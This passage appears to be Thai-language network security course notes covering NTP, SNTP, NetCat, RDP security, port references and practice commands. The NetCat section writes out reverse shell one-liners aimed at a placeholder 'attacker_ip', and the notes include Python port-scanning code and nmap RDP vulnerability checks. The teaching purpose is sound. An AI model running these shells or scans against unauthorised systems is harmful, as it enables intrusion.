5.1.1 NTP Stratum Hierarchy

%%{init: {'theme': 'base', 'themeVariables': {
  'primaryColor': '#282828',
  'primaryTextColor': '#ebdbb2',
  'primaryBorderColor': '#a89984',
  'lineColor': '#fe8019',
  'secondaryColor': '#3c3836',
  'clusterBkg': '#32302f',
  'titleColor': '#fabd2f'
}}}%%
graph TB
    subgraph stratum0["Stratum 0 (Reference Clock - นาฬิกาอ้างอิง)"]
        GPS["🛰️ GPS Atomic Clock\nความแม่นยำ: ±1ns"]
        ATOMIC["⚛️ Cesium Atomic Clock\nความแม่นยำ: ±1ns"]
        RADIO["📻 Radio Time Signal\n(DCF77, MSF, WWV)"]
    end

    subgraph stratum1["Stratum 1 (Primary NTP Server)"]
        S1A["🖥️ time.google.com\ntime.cloudflare.com"]
        S1B["🖥️ pool.ntp.org\ntime.nist.gov"]
    end

    subgraph stratum2["Stratum 2 (Secondary NTP Server)"]
        S2["🖥️ NTP Server องค์กร\nความแม่นยำ: ~1ms"]
    end

    subgraph stratum3["Stratum 3-15 (Client Servers)"]
        S3["💻 Workstations\n🖥️ Servers\n📱 Devices"]
    end

    GPS --> S1A
    ATOMIC --> S1A
    RADIO --> S1B
    S1A --> S2
    S1B --> S2
    S2 --> S3

    style GPS fill:#d79921,stroke:#fabd2f,color:#282828
    style ATOMIC fill:#d79921,stroke:#fabd2f,color:#282828
    style RADIO fill:#d79921,stroke:#fabd2f,color:#282828
    style S1A fill:#458588,stroke:#83a598,color:#ebdbb2
    style S1B fill:#458588,stroke:#83a598,color:#ebdbb2
    style S2 fill:#98971a,stroke:#b8bb26,color:#282828
    style S3 fill:#504945,stroke:#a89984,color:#ebdbb2

5.1.2 การคำนวณ NTP Clock Offset

NTP ใช้สูตรคำนวณ Clock Offset (θ) ระหว่าง client และ server ดังนี้:

θ = ( t2 - t1 ) + ( t3 - t4 ) 2

อธิบายตัวแปร:

Round-trip Delay (δ):

δ = ( t4 - t1 ) - ( t3 - t2 )

ตัวอย่างการคำนวณ:

สมมติ:

θ = ( 50ms - 0ms ) + ( 60ms - 100ms ) 2 = 50ms + ( - 40ms ) 2 = 10ms 2 = + 5ms δ = ( 100ms - 0ms ) - ( 60ms - 50ms ) = 100ms - 10ms = 90ms

สรุป: นาฬิกา client ช้ากว่า server 5ms และ RTT คือ 90ms ดังนั้น NTP จะปรับนาฬิกา client ให้เพิ่มขึ้น 5ms

5.1.3 NTPsec และความปลอดภัย

การโจมตี NTP:

การป้องกัน:


5.2 SNTP (Simple NTP)

SNTP (Simple Network Time Protocol) คือโปรโตคอล subset ของ NTP ที่ลดความซับซ้อน เหมาะสำหรับ:

คุณสมบัติ NTP SNTP
ความแม่นยำ < 1ms ~1 วินาที
ความซับซ้อน สูง ต่ำ
Clock Filter Algorithm มี ไม่มี
Multiple Server Support มี ไม่มี
เหมาะกับ Server, PC IoT, Embedded

6. Other Tools and Protocols

6.1 NetCat (nc)

NetCat หรือ nc คือเครื่องมืออเนกประสงค์สำหรับการสื่อสาร TCP/UDP ได้รับการยกย่องว่าเป็น "Swiss Army Knife" ของ network tools

6.1.1 ความสามารถของ NetCat

6.1.2 ตัวอย่างการใช้งาน NetCat

# ================================
# การใช้งาน NetCat (nc) พื้นฐาน
# ================================

# 1. ทดสอบการเชื่อมต่อ TCP (Port Scanning)
nc -zv example.com 80       # ทดสอบพอร์ต 80
nc -zv example.com 20-25    # สแกนพอร์ต 20-25
nc -zv -u example.com 53    # ทดสอบ UDP พอร์ต 53

# 2. Banner Grabbing (ดึงข้อมูล service)
nc example.com 80           # เชื่อมต่อ HTTP server
# แล้วพิมพ์: HEAD / HTTP/1.0 + Enter สองครั้ง

nc mail.example.com 25      # เชื่อมต่อ SMTP server
nc mail.example.com 110     # เชื่อมต่อ POP3 server
nc mail.example.com 143     # เชื่อมต่อ IMAP server

# 3. ทดสอบ SMTP โดยตรง
nc -C mail.example.com 25   # -C ใช้ CRLF line endings
# EHLO test.com
# MAIL FROM:<test@test.com>
# RCPT TO:<user@example.com>
# DATA
# Subject: Test
# .
# QUIT

# 4. File Transfer (ส่งไฟล์ผ่านเครือข่าย)
# ฝั่งรับ (เปิด listener ก่อน):
nc -l -p 9999 > received_file.txt

# ฝั่งส่ง:
nc receiver_ip 9999 < file_to_send.txt

# 5. Simple Chat
# Server:
nc -l -p 8888

# Client:
nc server_ip 8888

# 6. Reverse Shell (เพื่อการศึกษา/ทดสอบเท่านั้น)
# Attacker (รับ connection):
nc -l -p 4444

# Target (ส่ง shell กลับ):
nc attacker_ip 4444 -e /bin/bash  # classic netcat
# หรือ (ncat/netcat-openbsd):
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
"""
ใช้ Python จำลองการทำงานของ NetCat พื้นฐาน
ตัวอย่างการสร้าง TCP listener และ client
"""

import socket
import threading
import sys


def nc_listener(host: str, port: int, output_file: str = None):
    """
    NetCat-like TCP Listener
    รับ connection และแสดงข้อมูลที่รับมา
    
    พารามิเตอร์:
        host        -- IP ที่รับ connection ('' สำหรับทุก interface)
        port        -- พอร์ตที่รับฟัง
        output_file -- บันทึกข้อมูลลงไฟล์ (ถ้ากำหนด)
    """
    # สร้าง TCP socket
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    
    server.bind((host, port))
    server.listen(1)
    
    print(f"[*] กำลังรับฟังที่ {host}:{port}...")
    
    conn, addr = server.accept()
    print(f"[+] รับ connection จาก {addr[0]}:{addr[1]}")
    
    # รับข้อมูล
    output = []
    try:
        while True:
            data = conn.recv(4096)
            if not data:
                break
            
            decoded = data.decode("utf-8", errors="replace")
            print(decoded, end="", flush=True)
            output.append(decoded)
    except KeyboardInterrupt:
        pass
    finally:
        conn.close()
        server.close()
    
    # บันทึกไฟล์ถ้ากำหนด
    if output_file and output:
        with open(output_file, "w") as f:
            f.writelines(output)
        print(f"\n[*] บันทึกข้อมูลลง {output_file}")


def nc_banner_grab(host: str, port: int, timeout: int = 3) -> str:
    """
    ดึง Banner จาก Service (Banner Grabbing)
    
    พารามิเตอร์:
        host    -- hostname หรือ IP
        port    -- พอร์ต
        timeout -- timeout ในวินาที
    
    คืนค่า: banner string หรือ error message
    """
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        sock.connect((host, port))
        
        # รอ banner
        banner = sock.recv(1024).decode("utf-8", errors="replace").strip()
        sock.close()
        
        return banner
        
    except socket.timeout:
        return "Timeout - ไม่มีการตอบสนอง"
    except ConnectionRefusedError:
        return f"Connection refused - พอร์ต {port} ปิดอยู่"
    except Exception as e:
        return f"Error: {e}"


def port_scan(host: str, ports: list, timeout: float = 0.5) -> dict:
    """
    สแกนพอร์ตแบบง่าย (เพื่อการศึกษา)
    
    พารามิเตอร์:
        host    -- เป้าหมาย
        ports   -- รายการพอร์ตที่จะสแกน
        timeout -- timeout ต่อพอร์ต
    
    คืนค่า: dict {port: status}
    """
    results = {}
    
    for port in ports:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(timeout)
            result = sock.connect_ex((host, port))  # 0 = open, อื่นๆ = closed
            sock.close()
            
            results[port] = "open" if result == 0 else "closed"
        except:
            results[port] = "error"
    
    return results


# ตัวอย่างการใช้งาน
if __name__ == "__main__":
    # Banner Grabbing
    test_host = "smtp.gmail.com"
    print(f"\n=== Banner Grabbing: {test_host} ===")
    
    services = {25: "SMTP", 110: "POP3", 143: "IMAP"}
    for port, service in services.items():
        banner = nc_banner_grab(test_host, port)
        print(f"{service} (:{port}): {banner[:80]}")
    
    # Port Scan ตัวอย่าง
    print(f"\n=== Port Scan: localhost ===")
    common_ports = [22, 80, 443, 3306, 5432, 8080]
    scan_results = port_scan("localhost", common_ports)
    
    for port, status in scan_results.items():
        icon = "✓" if status == "open" else "✗"
        print(f"  {icon} Port {port}: {status}")

6.2 RDP (Remote Desktop Protocol)

RDP คือโปรโตคอลที่พัฒนาโดย Microsoft สำหรับการเข้าถึง Desktop ระยะไกล ทำงานบน TCP/UDP พอร์ต 3389 กำหนดในมาตรฐาน T.128 และ T.124

6.2.1 คุณสมบัติของ RDP

6.2.2 ช่องโหว่ความปลอดภัย RDP

%%{init: {'theme': 'base', 'themeVariables': {
  'primaryColor': '#282828',
  'primaryTextColor': '#ebdbb2',
  'primaryBorderColor': '#a89984',
  'lineColor': '#cc241d',
  'secondaryColor': '#3c3836',
  'clusterBkg': '#32302f',
  'titleColor': '#fb4934'
}}}%%
mindmap
  root((RDP\nSecurity Risks))
    Vulnerabilities
      BlueKeep CVE-2019-0708
        ไม่ต้องการ Authentication
        Remote Code Execution
        Wormable
      DejaBlue CVE-2019-1181
        Buffer Overflow
        Pre-auth RCE
    Attacks
      Brute Force
        Default Credentials
        Password Spraying
      Man-in-the-Middle
        Certificate Spoofing
        Credential Harvesting
      Lateral Movement
        Pass-the-Hash
        ใช้ RDP ขยายการโจมตี
    Misconfigurations
      Port 3389 เปิดสู่ Internet
      NLA ปิดอยู่
      Weak Credentials
      No MFA

6.2.3 Best Practices สำหรับ RDP Security

การตั้งค่าที่ปลอดภัย:

  1. เปิดใช้ NLA (Network Level Authentication) — ต้องยืนยันตัวตนก่อนเริ่ม session
  2. เปลี่ยนพอร์ต — ไม่ใช้พอร์ต 3389 โดยตรง (security through obscurity)
  3. ใช้ VPN — เข้าถึง RDP ผ่าน VPN เท่านั้น
  4. เปิด MFA — เพิ่ม Two-Factor Authentication
  5. Firewall Rules — จำกัด IP ที่เข้าถึงได้
  6. ใช้ Bastion Host — ผ่าน jump server
  7. Rate Limiting — จำกัดการพยายาม login ที่ผิดพลาด
มาตรการ Linux (SSH) Windows (RDP)
Default Port 22 3389
Secure Port กำหนดเอง กำหนดเอง
Encryption SSH Protocol TLS 1.2/1.3
MFA SSH Keys + OTP Microsoft Authenticator
Access Control AllowUsers, TCP Wrappers Windows Firewall, NPS
Logging /var/log/auth.log Event Viewer (Security Log)

7. สรุปและเอกสารอ้างอิง

7.1 สรุปโดยรวม

สัปดาห์ที่ 4 ครอบคลุมโปรโตคอลระดับ Application ที่สำคัญในด้านความปลอดภัยเครือข่าย:

Email Protocols: ระบบอีเมลประกอบด้วย SMTP สำหรับส่ง, POP3 และ IMAP สำหรับรับ โดย IMAP มีความยืดหยุ่นกว่าในการจัดการ multi-device และการค้นหาบน server ความปลอดภัยทำได้โดยใช้ TLS (SMTPS, POP3S, IMAPS) และกลไก SPF/DKIM/DMARC เพื่อป้องกัน email spoofing

Web Protocols: HTTP/HTTPS เป็นรากฐานของ World Wide Web โดย HTTPS เพิ่มชั้น TLS เพื่อความปลอดภัย การตั้งค่า Security Headers ที่เหมาะสมมีความสำคัญอย่างยิ่งต่อความปลอดภัยของเว็บแอปพลิเคชัน

Directory Services: LDAP เป็นโปรโตคอลมาตรฐานสำหรับจัดการ directory ส่วน Kerberos ให้การยืนยันตัวตนที่ปลอดภัยโดยใช้ Ticket-based system โดยไม่ต้องส่งรหัสผ่านผ่านเครือข่าย

Time Synchronization: NTP มีความสำคัญต่อความปลอดภัยของระบบทั้งหมด เนื่องจากโปรโตคอลและกลไกความปลอดภัยหลายอย่างขึ้นอยู่กับเวลาที่ซิงโครไนซ์กัน

Tools: NetCat เป็นเครื่องมืออเนกประสงค์สำหรับทดสอบเครือข่าย ส่วน RDP ต้องได้รับการตั้งค่าอย่างระมัดระวังเพราะเป็นเป้าหมายการโจมตีบ่อยครั้ง

%%{init: {'theme': 'base', 'themeVariables': {
  'primaryColor': '#282828',
  'primaryTextColor': '#ebdbb2',
  'primaryBorderColor': '#a89984',
  'lineColor': '#fe8019',
  'clusterBkg': '#32302f',
  'titleColor': '#fabd2f'
}}}%%
graph LR
    subgraph secure["✅ โปรโตคอลที่ปลอดภัย (Secure)"]
        S1["SMTPS\nPort 465/587+TLS"]
        S2["POP3S\nPort 995"]
        S3["IMAPS\nPort 993"]
        S4["HTTPS\nPort 443"]
        S5["LDAPS\nPort 636"]
        S6["NTPsec\nPort 123"]
    end

    subgraph insecure["⚠️ โปรโตคอลที่ต้องระวัง (Use Carefully)"]
        I1["SMTP\nPort 25"]
        I2["POP3\nPort 110"]
        I3["IMAP\nPort 143"]
        I4["HTTP\nPort 80"]
        I5["LDAP\nPort 389"]
        I6["NTP\nPort 123"]
        I7["RDP\nPort 3389"]
    end

    I1 -->|"STARTTLS"| S1
    I2 -->|"SSL/TLS"| S2
    I3 -->|"SSL/TLS"| S3
    I4 -->|"TLS Cert"| S4
    I5 -->|"SSL/TLS"| S5
    I6 -->|"NTS/Auth"| S6

    style S1 fill:#98971a,stroke:#b8bb26,color:#282828
    style S2 fill:#98971a,stroke:#b8bb26,color:#282828
    style S3 fill:#98971a,stroke:#b8bb26,color:#282828
    style S4 fill:#98971a,stroke:#b8bb26,color:#282828
    style S5 fill:#98971a,stroke:#b8bb26,color:#282828
    style S6 fill:#98971a,stroke:#b8bb26,color:#282828
    style I1 fill:#cc241d,stroke:#fb4934,color:#ebdbb2
    style I2 fill:#cc241d,stroke:#fb4934,color:#ebdbb2
    style I3 fill:#cc241d,stroke:#fb4934,color:#ebdbb2
    style I4 fill:#cc241d,stroke:#fb4934,color:#ebdbb2
    style I5 fill:#cc241d,stroke:#fb4934,color:#ebdbb2
    style I6 fill:#d79921,stroke:#fabd2f,color:#282828
    style I7 fill:#d79921,stroke:#fabd2f,color:#282828

7.2 Port Reference สรุป

โปรโตคอล พอร์ตปกติ พอร์ต Secure Transport
SMTP 25, 587 465 (SMTPS) TCP
POP3 110 995 (POP3S) TCP
IMAP 143 993 (IMAPS) TCP
HTTP 80 443 (HTTPS) TCP
LDAP 389 636 (LDAPS) TCP
Kerberos 88 88 (built-in) TCP/UDP
NTP 123 123 (NTPsec/NTS) UDP
RDP 3389 3389 + NLA/VPN TCP/UDP

7.3 เครื่องมือที่ใช้ในการปฏิบัติ

# ========================================
# คำสั่งสำหรับแบบฝึกหัด Week 4
# ========================================

# 1. ทดสอบ Email Protocols ด้วย Telnet/OpenSSL
telnet mail.example.com 25          # SMTP
openssl s_client -connect mail.example.com:587 -starttls smtp  # SMTPS
openssl s_client -connect mail.example.com:993  # IMAPS
openssl s_client -connect mail.example.com:995  # POP3S

# 2. ทดสอบ HTTP/HTTPS
curl -v http://example.com          # HTTP
curl -v https://example.com         # HTTPS
curl -I https://example.com         # ดู headers เท่านั้น
wget --server-response https://example.com  # ดู response headers

# 3. ตรวจสอบ SSL Certificate
openssl s_client -connect example.com:443 | openssl x509 -noout -text
openssl s_client -connect example.com:443 -showcerts

# 4. ทดสอบ LDAP
ldapsearch -H ldap://ldap.example.com -x -b "dc=example,dc=com" "(uid=alice)"
ldapsearch -H ldaps://ldap.example.com:636 -x -b "dc=example,dc=com" -D "cn=admin,dc=example,dc=com" -W

# 5. ตรวจสอบ NTP
ntpdate -d pool.ntp.org             # ทดสอบ NTP sync
timedatectl status                  # ดูสถานะเวลา (systemd)
chronyc tracking                    # ดูสถานะ chrony NTP client

# 6. NetCat
nc -zv example.com 80-443          # สแกนพอร์ต
nc -l -p 8080                      # เปิด listener
echo "GET / HTTP/1.0\r\n\r\n" | nc example.com 80  # ส่ง HTTP request

# 7. RDP Security Check
nmap -p 3389 --script rdp-enum-encryption target_ip  # ตรวจสอบ encryption
nmap -p 3389 --script rdp-vuln-ms12-020 target_ip   # ตรวจสอบ vulnerabilities

7.4 เอกสารอ้างอิง

  1. RFC 5321 — Simple Mail Transfer Protocol (SMTP), J. Klensin, 2008

  2. RFC 1939 — Post Office Protocol Version 3 (POP3), J. Myers & M. Rose, 1996

  3. RFC 9051 — IMAP Version 4rev2, A. Melnikov & B. Leiba, 2021

  4. RFC 7540 — Hypertext Transfer Protocol Version 2 (HTTP/2), M. Belshe et al., 2015

  5. RFC 8446 — The Transport Layer Security (TLS) Protocol Version 1.3, E. Rescorla, 2018

  6. RFC 4511 — Lightweight Directory Access Protocol (LDAP), J. Sermersheim, 2006

  7. RFC 4120 — The Kerberos Network Authentication Service (V5), C. Neuman et al., 2005

  8. RFC 5905 — Network Time Protocol Version 4 (NTPv4), D. Mills et al., 2010

  9. OWASP Transport Layer Security Cheat Sheet

  10. NIST SP 800-52 Rev 2 — Guidelines for TLS Implementations, 2019

  11. Microsoft Remote Desktop Protocol Documentation

  12. NTP Project Documentation